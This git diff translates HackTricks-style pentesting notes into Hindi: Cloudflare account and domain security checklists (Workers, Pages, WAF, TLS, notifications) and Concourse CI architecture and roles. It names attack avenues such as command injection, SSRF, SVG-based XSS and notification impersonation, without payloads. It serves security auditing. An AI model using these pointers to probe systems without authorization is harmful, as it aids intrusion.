-## Websites +## वेबसाइटें -Review each with: +प्रत्येक की समीक्षा करें: {{#ref}} cloudflare-domains.md {{#endref}} -### Domain Registration +### डोमेन पंजीकरण -- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain. +- [ ] **`Transfer Domains`** में जांचें कि किसी भी डोमेन को स्थानांतरित करना संभव नहीं है। -Review each with: +प्रत्येक की समीक्षा करें: {{#ref}} cloudflare-domains.md {{#endref}} -## Analytics +## विश्लेषण -_मैंने कॉन्फ़िगरेशन सुरक्षा समीक्षा के लिए कुछ नहीं पाया।_ +_मैंने कॉन्फ़िग सुरक्षा समीक्षा के लिए कुछ नहीं पाया।_ -## Pages +## पृष्ठ -On each Cloudflare's page: +प्रत्येक Cloudflare के पृष्ठ पर: -- [ ] Check for **sensitive information** in the **`Build log`**. -- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages. -- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/). -- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any). -- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code** -- [ ] In the details of each page `//pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**. -- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page. +- [ ] **`Build log`** में **संवेदनशील जानकारी** की जांच करें। +- [ ] पृष्ठों को सौंपे गए **Github repository** में **संवेदनशील जानकारी** की जांच करें। +- [ ] **workflow command injection** या `pull_request_target` समझौते के माध्यम से संभावित github repo समझौते की जांच करें। अधिक जानकारी [**Github सुरक्षा पृष्ठ**](../github-security/) में है। +- [ ] `/fuctions` निर्देशिका में **कमजोर कार्यों** की जांच करें (यदि कोई हो), `_redirects` फ़ाइल में **redirects** की जांच करें (यदि कोई हो) और `_headers` फ़ाइल में **गलत कॉन्फ़िगर किए गए हेडर** की जांच करें (यदि कोई हो)। +- [ ] यदि आप **कोड** तक पहुँच सकते हैं तो **blackbox** या **whitebox** के माध्यम से **वेब पृष्ठ** में **कमजोरियों** की जांच करें। +- [ ] प्रत्येक पृष्ठ के विवरण `//pages/view/blocklist/settings/functions` में। **`Environment variables`** में **संवेदनशील जानकारी** की जांच करें। +- [ ] विवरण पृष्ठ में **build command** और **root directory** की भी जांच करें कि क्या **संभावित इंजेक्शन** पृष्ठ को समझौता कर सकते हैं। -## **Workers** +## **कार्यकर्ता** -On each Cloudflare's worker check: +प्रत्येक Cloudflare के कार्यकर्ता की जांच करें: -- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker? -- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information** -- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input) -- Check for SSRFs returning the indicated page that you can control -- Check XSSs executing JS inside a svg image -- It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input. +- [ ] ट्रिगर्स: कार्यकर्ता को क्या ट्रिगर करता है? क्या एक **उपयोगकर्ता डेटा भेज सकता है** जो कार्यकर्ता द्वारा **उपयोग** किया जाएगा? +- [ ] **`Settings`** में, **संवेदनशील जानकारी** वाले **`Variables`** की जांच करें। +- [ ] **कार्यकर्ता के कोड** की जांच करें और **कमजोरियों** की खोज करें (विशेष रूप से उन स्थानों पर जहां उपयोगकर्ता इनपुट को प्रबंधित कर सकता है)। +- नियंत्रित पृष्ठ को लौटाने वाले SSRFs की जांच करें। +- SVG छवि के अंदर JS निष्पादित करने वाले XSSs की जांच करें। +- यह संभव है कि कार्यकर्ता अन्य आंतरिक सेवाओं के साथ बातचीत करता है। उदाहरण के लिए, एक कार्यकर्ता एक R2 बकेट के साथ बातचीत कर सकता है जिसमें इनपुट से प्राप्त जानकारी संग्रहीत होती है। इस मामले में, यह जांचना आवश्यक होगा कि कार्यकर्ता के पास R2 बकेट पर क्या क्षमताएँ हैं और इसे उपयोगकर्ता इनपुट से कैसे दुरुपयोग किया जा सकता है। > [!WARNING] -> Note that by default a **Worker is given a URL** such as `..workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it. +> ध्यान दें कि डिफ़ॉल्ट रूप से एक **कार्यकर्ता को एक URL** दिया जाता है जैसे `..workers.dev`। उपयोगकर्ता इसे एक **उपडोमेन** पर सेट कर सकता है लेकिन यदि आप इसे जानते हैं तो आप हमेशा उस **मूल URL** के साथ इसे एक्सेस कर सकते हैं। ## R2 -On each R2 bucket check: +प्रत्येक R2 बकेट की जांच करें: -- [ ] Configure **CORS Policy**. +- [ ] **CORS नीति** कॉन्फ़िगर करें। -## Stream +## स्ट्रीम TODO -## Images +## छवियाँ TODO -## Security Center +## सुरक्षा केंद्र -- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise. -- [ ] Just **check this information** for security misconfigurations and interesting info +- [ ] यदि संभव हो, तो **`Security Insights`** **स्कैन** और **`Infrastructure`** **स्कैन** चलाएँ, क्योंकि वे **सुरक्षा** के दृष्टिकोण से दिलचस्प जानकारी **हाइलाइट** करेंगे। +- [ ] सुरक्षा गलत कॉन्फ़िगरेशन और दिलचस्प जानकारी के लिए केवल **इस जानकारी** की जांच करें। -## Turnstile +## टर्नस्टाइल TODO -## **Zero Trust** +## **जीरो ट्रस्ट** {{#ref}} cloudflare-zero-trust-network.md {{#endref}} -## Bulk Redirects +## बल्क रीडायरेक्ट्स > [!NOTE] -> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior. +> [डायनामिक रीडायरेक्ट्स](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/) के विपरीत, [**बल्क रीडायरेक्ट्स**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) मूल रूप से स्थिर हैं - वे **किसी भी स्ट्रिंग प्रतिस्थापन** संचालन या नियमित अभिव्यक्तियों का समर्थन नहीं करते हैं। हालाँकि, आप URL रीडायरेक्ट पैरामीटर कॉन्फ़िगर कर सकते हैं जो उनके URL मिलान व्यवहार और उनके रनटाइम व्यवहार को प्रभावित करते हैं। -- [ ] Check that the **expressions** and **requirements** for redirects **make sense**. -- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info. +- [ ] जांचें कि रीडायरेक्ट के लिए **व्यक्तिगत** और **आवश्यकताएँ** **संगत** हैं। +- [ ] **संवेदनशील छिपे हुए एंडपॉइंट्स** के लिए भी जांचें जो दिलचस्प जानकारी रखते हैं। -## Notifications +## सूचनाएँ -- [ ] Check the **notifications.** These notifications are recommended for security: +- [ ] **सूचनाओं** की जांच करें। ये सूचनाएँ सुरक्षा के लिए अनुशंसित हैं: - `Usage Based Billing` - `HTTP DDoS Attack Alert` - `Layer 3/4 DDoS Attack Alert` @@ -113,22 +113,22 @@ cloudflare-zero-trust-network.md - `Script Monitor New Script Exceeds Max URL Length Alert` - `Advanced Security Events Alert` - `Security Events Alert` -- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS** -- [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous** +- [ ] सभी **गंतव्यों** की जांच करें, क्योंकि वेबहुक URLs में **संवेदनशील जानकारी** (बुनियादी http प्रमाणीकरण) हो सकती है। यह भी सुनिश्चित करें कि वेबहुक URLs **HTTPS** का उपयोग करते हैं। +- [ ] अतिरिक्त जांच के रूप में, आप किसी तीसरे पक्ष को **cloudflare सूचना** का **प्रतिरूपण** करने की कोशिश कर सकते हैं, शायद आप किसी तरह **कुछ खतरनाक इंजेक्ट** कर सकते हैं। -## Manage Account +## खाता प्रबंधित करें -- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**. -- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**. -- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle. -- Therefore, whenever possible is **recommended** to use the **Enterprise plan**. -- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled. +- [ ] **`Billing` -> `Payment info`** में **क्रेडिट कार्ड** के **अंतिम 4 अंक**, **समाप्ति** समय और **बिलिंग पता** देखना संभव है। +- [ ] **`Billing` -> `Subscriptions`** में खाते में उपयोग किए जाने वाले **योजना प्रकार** को देखना संभव है। +- [ ] **`Members`** में खाते के सभी सदस्यों और उनकी **भूमिका** को देखना संभव है। ध्यान दें कि यदि योजना प्रकार एंटरप्राइज नहीं है, तो केवल 2 भूमिकाएँ होती हैं: व्यवस्थापक और सुपर व्यवस्थापक। लेकिन यदि उपयोग की गई **योजना एंटरप्राइज** है, तो [**अधिक भूमिकाएँ**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) का उपयोग किया जा सकता है ताकि न्यूनतम विशेषाधिकार सिद्धांत का पालन किया जा सके। +- इसलिए, जब भी संभव हो, **एंटरप्राइज योजना** का उपयोग करना **अनुशंसित** है। +- [ ] सदस्यों में यह जांचना संभव है कि कौन से **सदस्यों** ने **2FA सक्षम** किया है। **हर** उपयोगकर्ता को इसे सक्षम करना चाहिए। > [!NOTE] -> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members) +> ध्यान दें कि सौभाग्य से भूमिका **`Administrator`** को सदस्यता प्रबंधन के लिए अनुमतियाँ नहीं दी जाती हैं (**विशेषाधिकार बढ़ाने या** नए सदस्यों को आमंत्रित करने की अनुमति नहीं है)। -## DDoS Investigation +## DDoS जांच -[Check this part](cloudflare-domains.md#cloudflare-ddos-protection). +[इस भाग की जांच करें](cloudflare-domains.md#cloudflare-ddos-protection). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md index 8928d4eb8..d26367800 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md @@ -2,29 +2,29 @@ {{#include ../../banners/hacktricks-training.md}} -In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:** +Cloudflare में कॉन्फ़िगर किए गए प्रत्येक TLD में कुछ **सामान्य सेटिंग्स और सेवाएँ** होती हैं जिन्हें कॉन्फ़िगर किया जा सकता है। इस पृष्ठ पर हम प्रत्येक अनुभाग की **सुरक्षा से संबंधित सेटिंग्स का विश्लेषण** करने जा रहे हैं:
### Overview -- [ ] Get a feeling of **how much** are the services of the account **used** -- [ ] Find also the **zone ID** and the **account ID** +- [ ] यह जानें कि **सेवाएँ** कितनी **उपयोग की गई** हैं +- [ ] **ज़ोन आईडी** और **खाता आईडी** भी खोजें ### Analytics -- [ ] In **`Security`** check if there is any **Rate limiting** +- [ ] **`Security`** में देखें कि क्या कोई **Rate limiting** है ### DNS -- [ ] Check **interesting** (sensitive?) data in DNS **records** -- [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com) -- [ ] Check for web pages that **aren't** **proxied** -- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address -- [ ] Check that **DNSSEC** is **enabled** -- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs** -- This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings -- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) +- [ ] DNS **रिकॉर्ड्स** में **दिलचस्प** (संवेदनशील?) डेटा की जांच करें +- [ ] **सबडोमेन** की जांच करें जो केवल **नाम** के आधार पर **संवेदनशील जानकारी** रख सकते हैं (जैसे admin173865324.domin.com) +- [ ] उन वेब पृष्ठों की जांच करें जो **प्रॉक्सी** नहीं हैं +- [ ] उन **प्रॉक्सिफाइड वेब पृष्ठों** की जांच करें जिन्हें CNAME या IP पते द्वारा **प्रत्यक्ष रूप से** एक्सेस किया जा सकता है +- [ ] सुनिश्चित करें कि **DNSSEC** **सक्षम** है +- [ ] सुनिश्चित करें कि सभी CNAMEs में **CNAME Flattening** **उपयोग** किया गया है +- यह **सबडोमेन टेकओवर कमजोरियों** को **छिपाने** और लोड समय में सुधार करने के लिए उपयोगी हो सकता है +- सुनिश्चित करें कि डोमेन [**स्पूफिंग के लिए कमजोर नहीं हैं**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) ### **Email** @@ -38,44 +38,44 @@ TODO #### **Overview** -- [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point. -- [ ] The **SSL/TLS Recommender** should be enabled +- [ ] **SSL/TLS एन्क्रिप्शन** **Full** या **Full (Strict)** होना चाहिए। अन्य कोई भी कुछ समय बाद **स्पष्ट-टेक्स्ट ट्रैफ़िक** भेजेगा। +- [ ] **SSL/TLS अनुशंसा** सक्षम होनी चाहिए #### Edge Certificates -- [ ] **Always Use HTTPS** should be **enabled** -- [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled** -- [ ] **Minimum TLS Version should be 1.2** -- [ ] **TLS 1.3 should be enabled** -- [ ] **Automatic HTTPS Rewrites** should be **enabled** -- [ ] **Certificate Transparency Monitoring** should be **enabled** +- [ ] **हमेशा HTTPS का उपयोग करें** सक्षम होना चाहिए +- [ ] **HTTP Strict Transport Security (HSTS)** सक्षम होना चाहिए +- [ ] **न्यूनतम TLS संस्करण 1.2 होना चाहिए** +- [ ] **TLS 1.3 सक्षम होना चाहिए** +- [ ] **स्वचालित HTTPS पुनर्लेखन** सक्षम होना चाहिए +- [ ] **प्रमाणपत्र पारदर्शिता निगरानी** सक्षम होनी चाहिए ### **Security** -- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses. -- The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used. -- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used -- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare -- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections** -- [ ] In the **`Settings`** section: -- [ ] Check that the **`Security Level`** is **medium** or greater -- [ ] Check that the **`Challenge Passage`** is 1 hour at max -- [ ] Check that the **`Browser Integrity Check`** is **enabled** -- [ ] Check that the **`Privacy Pass Support`** is **enabled** +- [ ] **`WAF`** अनुभाग में यह देखना दिलचस्प है कि **फायरवॉल** और **रेट लिमिटिंग नियमों का उपयोग** दुरुपयोग को रोकने के लिए किया गया है। +- **`Bypass`** क्रिया एक अनुरोध के लिए **Cloudflare सुरक्षा** सुविधाओं को **अक्षम** कर देगी। इसका उपयोग नहीं किया जाना चाहिए। +- [ ] **`Page Shield`** अनुभाग में यह जांचना अनुशंसित है कि यदि कोई पृष्ठ उपयोग किया जा रहा है तो यह **सक्षम** है +- [ ] **`API Shield`** अनुभाग में यह जांचना अनुशंसित है कि यदि कोई API Cloudflare में उजागर है तो यह **सक्षम** है +- [ ] **`DDoS`** अनुभाग में **DDoS सुरक्षा** सक्षम करने की सिफारिश की जाती है +- [ ] **`Settings`** अनुभाग में: +- [ ] सुनिश्चित करें कि **`Security Level`** **मध्यम** या उससे अधिक है +- [ ] सुनिश्चित करें कि **`Challenge Passage`** अधिकतम 1 घंटा है +- [ ] सुनिश्चित करें कि **`Browser Integrity Check`** **सक्षम** है +- [ ] सुनिश्चित करें कि **`Privacy Pass Support`** **सक्षम** है #### **CloudFlare DDoS Protection** -- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access. -- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie. -- If the attack is from a **verified bot**, at least **add a rate limit** to bots. -- If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path. -- You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF. -- Check if **Managed rules** could also help to prevent vulnerability exploitations. -- In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.** -- In DDoS you could **override some rules to make them more restrictive**. -- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**. -- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled -- In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events** +- यदि आप कर सकते हैं, तो **Bot Fight Mode** या **Super Bot Fight Mode** सक्षम करें। यदि आप किसी API की सुरक्षा कर रहे हैं जो प्रोग्रामेटिक रूप से एक्सेस की जाती है (उदाहरण के लिए, एक JS फ्रंट एंड पृष्ठ से)। आप इस एक्सेस को तोड़े बिना इसे सक्षम नहीं कर सकते। +- **WAF** में: आप **URL पथ द्वारा रेट सीमाएँ** बना सकते हैं या **सत्यापित बॉट्स** के लिए (रेट लिमिटिंग नियम), या IP, कुकी, रेफरर आदि के आधार पर **एक्सेस को ब्लॉक** कर सकते हैं। इसलिए आप उन अनुरोधों को ब्लॉक कर सकते हैं जो किसी वेब पृष्ठ से नहीं आते हैं या जिनमें कुकी नहीं है। +- यदि हमला एक **सत्यापित बॉट** से है, तो कम से कम **बॉट्स के लिए एक रेट लिमिट** जोड़ें। +- यदि हमला एक **विशिष्ट पथ** पर है, तो रोकथाम तंत्र के रूप में, इस पथ में एक **रेट लिमिट** जोड़ें। +- आप **WAF** में **टूल्स** से IP पते, IP रेंज, देशों या ASN को भी **व्हाइटलिस्ट** कर सकते हैं। +- जांचें कि क्या **Managed rules** भी कमजोरियों के शोषण को रोकने में मदद कर सकते हैं। +- **Tools** अनुभाग में आप **विशिष्ट IPs** और **उपयोगकर्ता एजेंटों** को **ब्लॉक या चुनौती** दे सकते हैं। +- DDoS में आप **कुछ नियमों को अधिक प्रतिबंधात्मक बनाने के लिए ओवरराइड** कर सकते हैं। +- **Settings**: **Security Level** को **High** पर सेट करें और यदि आप **Under Attack** हैं और **Browser Integrity Check सक्षम** है तो इसे **Under Attack** पर सेट करें। +- Cloudflare Domains -> Analytics -> Security -> जांचें कि **रेट लिमिट** सक्षम है +- Cloudflare Domains -> Security -> Events -> **पाई गई दुर्भावनापूर्ण घटनाओं** की जांच करें ### Access @@ -85,15 +85,15 @@ cloudflare-zero-trust-network.md ### Speed -_I couldn't find any option related to security_ +_मैंने सुरक्षा से संबंधित कोई विकल्प नहीं पाया_ ### Caching -- [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool** +- [ ] **`Configuration`** अनुभाग में **CSAM स्कैनिंग टूल** को सक्षम करने पर विचार करें ### **Workers Routes** -_You should have already checked_ [_cloudflare workers_](./#workers) +_आपको पहले से ही_ [_cloudflare workers_](./#workers) _की जांच करनी चाहिए_ ### Rules @@ -101,9 +101,9 @@ TODO ### Network -- [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled** -- [ ] **`HTTP/3 (with QUIC)`** should be **enabled** -- [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled** +- [ ] यदि **`HTTP/2`** **सक्षम** है, तो **`HTTP/2 to Origin`** **सक्षम** होना चाहिए +- [ ] **`HTTP/3 (with QUIC)`** **सक्षम** होना चाहिए +- [ ] यदि आपके **उपयोगकर्ताओं** की **गोपनीयता** महत्वपूर्ण है, तो सुनिश्चित करें कि **`Onion Routing`** **सक्षम** है ### **Traffic** @@ -111,7 +111,7 @@ TODO ### Custom Pages -- [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode) +- [ ] जब सुरक्षा से संबंधित कोई त्रुटि उत्पन्न होती है (जैसे ब्लॉक, रेट लिमिटिंग या मैं हमले के मोड में हूँ) तो कस्टम पृष्ठों को कॉन्फ़िगर करना वैकल्पिक है ### Apps @@ -119,8 +119,8 @@ TODO ### Scrape Shield -- [ ] Check **Email Address Obfuscation** is **enabled** -- [ ] Check **Server-side Excludes** is **enabled** +- [ ] जांचें कि **Email Address Obfuscation** **सक्षम** है +- [ ] जांचें कि **Server-side Excludes** **सक्षम** है ### **Zaraz** diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md index 1f84220ff..e6414549a 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md @@ -4,7 +4,7 @@ {{#include ../../banners/hacktricks-training.md}} -[**Concourse दस्तावेज़ से प्रासंगिक डेटा:**](https://concourse-ci.org/internals.html) +[**Concourse दस्तावेज़ से संबंधित डेटा:**](https://concourse-ci.org/internals.html) ### Architecture @@ -18,18 +18,18 @@ ATC Concourse का दिल है। यह **वेब UI और API** च #### TSA: कार्यकर्ता पंजीकरण और अग्रेषण -TSA एक **कस्टम-निर्मित SSH सर्वर** है जिसका उपयोग केवल [**कार्यकर्ताओं**](https://concourse-ci.org/internals.html#architecture-worker) को [ATC](https://concourse-ci.org/internals.html#component-atc) के साथ सुरक्षित रूप से **पंजीकरण** करने के लिए किया जाता है। +TSA एक **कस्टम-निर्मित SSH सर्वर** है जिसका उपयोग केवल **पंजीकरण** के लिए किया जाता है [**कार्यकर्ताओं**](https://concourse-ci.org/internals.html#architecture-worker) को [ATC](https://concourse-ci.org/internals.html#component-atc) के साथ सुरक्षित रूप से। -TSA **डिफ़ॉल्ट रूप से `2222` पोर्ट पर सुनता है**, और आमतौर पर [ATC](https://concourse-ci.org/internals.html#component-atc) के साथ स्थित होता है और लोड बैलेंसर के पीछे होता है। +TSA **डिफ़ॉल्ट रूप से `2222` पोर्ट पर सुनता है**, और आमतौर पर [ATC](https://concourse-ci.org/internals.html#component-atc) के साथ सह-स्थित होता है और लोड बैलेंसर के पीछे होता है। **TSA SSH कनेक्शन पर CLI लागू करता है,** [**इन आदेशों**](https://concourse-ci.org/internals.html#component-tsa) का समर्थन करता है। -#### Workers +#### कार्यकर्ता -कार्य करने के लिए Concourse को कुछ कार्यकर्ताओं की आवश्यकता होती है। ये कार्यकर्ता [TSA](https://concourse-ci.org/internals.html#component-tsa) के माध्यम से **स्वयं को पंजीकृत** करते हैं और सेवाओं [**Garden**](https://github.com/cloudfoundry-incubator/garden) और [**Baggageclaim**](https://github.com/concourse/baggageclaim) को चलाते हैं। +कार्यक्रमों को निष्पादित करने के लिए Concourse को कुछ कार्यकर्ताओं की आवश्यकता होती है। ये कार्यकर्ता [TSA](https://concourse-ci.org/internals.html#component-tsa) के माध्यम से **स्वयं को पंजीकृत** करते हैं और सेवाएँ चलाते हैं [**Garden**](https://github.com/cloudfoundry-incubator/garden) और [**Baggageclaim**](https://github.com/concourse/baggageclaim)। -- **Garden**: यह **कंटेनर प्रबंधन API** है, जो आमतौर पर **HTTP** के माध्यम से **पोर्ट 7777** पर चलता है। -- **Baggageclaim**: यह **वॉल्यूम प्रबंधन API** है, जो आमतौर पर **HTTP** के माध्यम से **पोर्ट 7788** पर चलता है। +- **Garden**: यह **कंटेनर प्रबंधन API** है, जो आमतौर पर **पोर्ट 7777** पर **HTTP** के माध्यम से चलता है। +- **Baggageclaim**: यह **वॉल्यूम प्रबंधन API** है, जो आमतौर पर **पोर्ट 7788** पर **HTTP** के माध्यम से चलता है। ## References diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md index ce0a295cb..48d6e9d12 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md @@ -8,21 +8,21 @@ Concourse में पांच भूमिकाएँ होती हैं: -- _Concourse_ **Admin**: यह भूमिका केवल **मुख्य टीम** (डिफ़ॉल्ट प्रारंभिक concourse टीम) के मालिकों को दी जाती है। एडमिन **अन्य टीमों को कॉन्फ़िगर** कर सकते हैं (जैसे: `fly set-team`, `fly destroy-team`...)। इस भूमिका के अनुमतियों को RBAC द्वारा प्रभावित नहीं किया जा सकता। +- _Concourse_ **Admin**: यह भूमिका केवल **मुख्य टीम** (डिफ़ॉल्ट प्रारंभिक concourse टीम) के मालिकों को दी जाती है। एडमिन **अन्य टीमों को कॉन्फ़िगर** कर सकते हैं (जैसे: `fly set-team`, `fly destroy-team`...)। इस भूमिका की अनुमतियाँ RBAC द्वारा प्रभावित नहीं की जा सकती हैं। - **owner**: टीम के मालिक **टीम के भीतर सब कुछ संशोधित** कर सकते हैं। -- **member**: टीम के सदस्य **टीम की संपत्तियों के भीतर पढ़ सकते हैं और लिख सकते हैं** लेकिन टीम सेटिंग्स को संशोधित नहीं कर सकते। -- **pipeline-operator**: पाइपलाइन ऑपरेटर **पाइपलाइन संचालन** कर सकते हैं जैसे बिल्ड को ट्रिगर करना और संसाधनों को पिन करना, हालाँकि वे पाइपलाइन कॉन्फ़िगरेशन को अपडेट नहीं कर सकते। -- **viewer**: टीम के दर्शकों को **टीम** और इसकी पाइपलाइनों तक **"पढ़ने के लिए केवल"** पहुंच होती है। +- **member**: टीम के सदस्य **टीम के संसाधनों के भीतर पढ़ सकते हैं और लिख सकते हैं** लेकिन टीम सेटिंग्स को संशोधित नहीं कर सकते। +- **pipeline-operator**: पाइपलाइन ऑपरेटर **पाइपलाइन संचालन** कर सकते हैं जैसे कि बिल्ड को ट्रिगर करना और संसाधनों को पिन करना, हालाँकि वे पाइपलाइन कॉन्फ़िगरेशन को अपडेट नहीं कर सकते। +- **viewer**: टीम के दर्शकों को **टीम** और इसके पाइपलाइनों तक **"पढ़ने के लिए केवल"** पहुंच होती है। > [!NOTE] -> इसके अलावा, **owner, member, pipeline-operator और viewer की भूमिकाओं के अनुमतियों को RBAC कॉन्फ़िगर करके संशोधित किया जा सकता है** (विशेष रूप से इसके कार्यों को कॉन्फ़िगर करना)। इसके बारे में अधिक पढ़ें: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) +> इसके अलावा, **owner, member, pipeline-operator और viewer की भूमिकाओं की अनुमतियाँ** RBAC को कॉन्फ़िगर करके संशोधित की जा सकती हैं (विशेष रूप से इसके कार्यों को कॉन्फ़िगर करना)। इसके बारे में अधिक पढ़ें: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) ध्यान दें कि Concourse **टीमों के भीतर पाइपलाइनों को समूहित करता है**। इसलिए, एक टीम से संबंधित उपयोगकर्ता उन पाइपलाइनों का प्रबंधन कर सकेंगे और **कई टीमें** हो सकती हैं। एक उपयोगकर्ता कई टीमों से संबंधित हो सकता है और प्रत्येक में विभिन्न अनुमतियाँ हो सकती हैं। ### Vars & Credential Manager -YAML कॉन्फ़िग्स में आप `((_source-name_:_secret-path_._secret-field_))` सिंटैक्स का उपयोग करके मान कॉन्फ़िगर कर सकते हैं।\ -[दस्तावेज़ से:](https://concourse-ci.org/vars.html#var-syntax) **source-name वैकल्पिक है**, और यदि छोड़ा गया है, तो [क्लस्टर-व्यापी क्रेडेंशियल प्रबंधक](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) का उपयोग किया जाएगा, या मान [स्थैतिक रूप से](https://concourse-ci.org/vars.html#static-vars) प्रदान किया जा सकता है।\ +YAML कॉन्फ़िग्स में आप मानों को `((_source-name_:_secret-path_._secret-field_))` सिंटैक्स का उपयोग करके कॉन्फ़िगर कर सकते हैं।\ +[From the docs:](https://concourse-ci.org/vars.html#var-syntax) **source-name वैकल्पिक है**, और यदि छोड़ा गया है, तो [क्लस्टर-व्यापी क्रेडेंशियल प्रबंधक](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) का उपयोग किया जाएगा, या मान [स्थैतिक रूप से](https://concourse-ci.org/vars.html#static-vars) प्रदान किया जा सकता है।\ **वैकल्पिक \_secret-field**\_ उस फ़ील्ड को निर्दिष्ट करता है जिसे प्राप्त किए गए रहस्य से पढ़ा जाना है। यदि छोड़ा गया है, तो क्रेडेंशियल प्रबंधक प्राप्त किए गए क्रेडेंशियल से 'डिफ़ॉल्ट फ़ील्ड' पढ़ने का विकल्प चुन सकता है यदि फ़ील्ड मौजूद है।\ इसके अलावा, _**secret-path**_ और _**secret-field**_ को डबल कोट्स `"..."` में रखा जा सकता है यदि वे **विशेष वर्ण** जैसे `.` और `:` शामिल करते हैं। उदाहरण के लिए, `((source:"my.secret"."field:1"))` _secret-path_ को `my.secret` और _secret-field_ को `field:1` पर सेट करेगा। @@ -36,14 +36,14 @@ vars: { tag: 1.13 } ``` Or using the following `fly` **arguments**: -- `-v` or `--var` `NAME=VALUE` स्ट्रिंग `VALUE` को var `NAME` के लिए मान के रूप में सेट करता है। -- `-y` or `--yaml-var` `NAME=VALUE` `VALUE` को YAML के रूप में पार्स करता है और इसे var `NAME` के लिए मान के रूप में सेट करता है। -- `-i` or `--instance-var` `NAME=VALUE` `VALUE` को YAML के रूप में पार्स करता है और इसे instance var `NAME` के लिए मान के रूप में सेट करता है। instance vars के बारे में अधिक जानने के लिए 